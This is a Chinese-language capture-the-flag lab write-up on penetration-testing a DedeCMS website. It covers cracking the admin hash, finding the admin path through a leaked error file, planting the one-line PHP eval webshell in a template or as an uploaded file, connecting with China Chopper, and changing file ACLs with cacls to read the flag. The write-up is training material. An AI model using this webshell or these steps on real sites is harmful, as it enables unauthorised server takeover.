【i春秋】渗透测试入门 —— 真的很简单

0x00 前言

本题是渗透测试入门的一道基础题,虽然美其名曰“真的很简单”,但对于新手还是有一定挑战性的,实践并掌握本题中的所有知识点,对渗透测试的基本理解有很大帮助。

此题的目标是对一个基于织梦 CMS 的网站进行渗透测试,找到网站登录后台,继而入侵服务器找到存放 flag 的文件。从实验手册上,可看出其中还会涉及到简单的提权过程。

guide

0x01 网站管理员的密码是多少?

第 1 题相对简单,在实验环境内根据提示打开下载链接 http://file.ichunqiu.com/49ba59ab,接着下载爆破工具 dedecms.exe

dedecms-download

打开工具,输入目标 URL,一键爆破得到管理员的账号 ichunqiu 与密码哈希值 adab29e084ff095ce3eb

dedecms

仔细数数,发现密码哈希值是 20 位的(注:此处的“位”均为十六进制,而非二进制),上网一查才发现这是织梦 CMS 的特性,实现过程可参考 DEDECMS的20位MD5加密密文解密示例介绍

dedecms-md5

将 20 位的哈希值用 MD5解密工具 解密,得到密码明文 only_system

password

为验证 20 位的 MD5 哈希算法规则,可进一步用 MD5加密工具only_system 加密,发现其 16 位哈希值确实能由 20 位哈希值去掉前 3 位与后 1 位所得:

password-verify

0x02 网站后台目录名是什么?

第 2 题上来先尝试织梦 CMS 的默认后台路径 /dede/index.php/dede/login.php,得到 404 的结果也是意料之中,即现在的问题是要找出修改后的后台目录名。

打开实验工具箱,发现【目录扫描】文件夹,以【御剑后台扫描工具】为例,对目标 URL 扫描后得到如下结果:

directory-scan

注意,为了保证扫描效率,一般后台扫描工具都是采用字典扫描,而不是暴力穷举,因此不同扫描器得到的结果不完全相同,尽可能使用多种扫描器,偏僻怪异的名字可能扫描不出来

笔者采用了多种扫描器,并对其可能的结果进行验证,都一无所获,即可判断此后台目录名具有较强的个性或随机性

所以要转换思路,看看织梦 CMS 是否存在后台地址信息泄露的漏洞。果不其然,发现从报错文件 /data/mysql_error_trace.inc/data/mysqli_error_trace.inc 中,可得到泄露的后台路径,具体可参考:

dedecms的各种卡哇伊小漏洞
dedecms(织梦)漏洞&exp整理
php学习之织梦dedecms漏洞讲解

最后在 /data/mysqli_error_trace.inc 中获得后台目录名为 lichunqiul

mysqli-error-trace

对其进行验证,终于看到了后台登录页面:

login

0x03 管理员桌面中 flag 文件信息是?

用账号 ichunqiu 与密码 only_system 登录后台后,根据实验手册,要想办法利用中国菜刀连接服务器,获得 webshell,进而查看 flag 文件中的信息。

获取 webshell

首先我们需要在服务器插入一句话木马,然后才能用菜刀连接,获得 webshell。这里介绍两种插入一句话木马的方法。

直接修改模板 PHP 源码

依次点击 模板 -> 标签源码管理,以编辑第一个模板 adminname.lib.php 为例:

template-list

在模板源码第一行插入一句话木马 <?php @eval($_POST['cmd']); ?>

template-edit

接着在工具箱【webshell】文件夹打开【中国菜刀】:

chopper

添加SHELL 输入框中,输入被插入木马模板文件的地址 http://www.test.ichunqiu/include/taglib/adminname.lib.php,其右侧填入木马中接收 POST 请求数据的 key 字段 cmd,脚本类型为 PHP(Eval),字符编码为 GB2312,设置完成后点击 添加

add-shell-1

若参数设置正确,双击所添加的条目,即可连接服务器的资源管理器,进入到模板文件所在的目录:

manager-1

上传一句话木马文件

先在本地创建文件 trojan.php,写入一句话木马 <?php @eval($_POST['cmd']); ?>

trojan-edit

再依次点击 系统 -> 系统基本参数 -> 附件设置,如下图更改允许上传的文件类型,否则木马将上传失败:

file-type

最后点击 核心 -> 上传新文件,如下图所示上传木马:

trojan-upload

上传完毕后点击 核心 -> 附件数据管理 -> 更改,即可查看木马的路径:

trojan-path

接着利用菜刀添加SHELL,步骤同上,只不过地址更改为 http://www.test.ichunqiu/uploads/soft/180307/1_1503138291.php

add-shell-2

若参数设置正确,双击连接服务器的资源管理器,即可进入到木马所上传的目录:

manager-2

权限提升

进入到管理员桌面可看到 flag 文件 flag~ichunqiu.txt

manager-flag

但双击后未显示任何内容,估计是权限受限。接下来可右键点击条目,祭出虚拟终端,即 webshell 的命令行模式:

chopper-terminal

先切换至管理员桌面,用 cacls 命令查看 flag 文件的访问控制列表(ACL),后用 whoami 命令查看用户名,发现 authority\system 用户对于 flag 文件的权限是 N,即无权限,用 type 命令查看 flag 文件果然是拒绝访问的:

deny

cacls 命令更改了访问权限后,authority\system 用户对于 flag 文件的权限变成了 F,即所有权限,再次查看 flag 文件内容即可看到 key{il2o3l}

flag

注意提交答案的时候有个坑,记得先拆掉包装,只需提交 il2o3l 即可。最后附上 cacls 命令的用法:

cacls

0x04 小结

所谓条条大路通罗马,以上思路可能只是完成目标的其中一种方法。本人能力有限,面对工具箱中种类繁多的各种工具不能信手拈来,对于 Windows 命令的使用也掌握不深,尤其是实验手册中提到的 net.exe 工具尚未使用,因为在 webshell 中使用 net 命令也是拒绝访问的,这个问题还请各位前辈不吝赐教。

最后向以下两篇参考 writeup 的作者表示致谢!

09-在线挑战详细攻略-《真的很简单》
爱春秋-WEB渗透实验-真的很简单-实验记录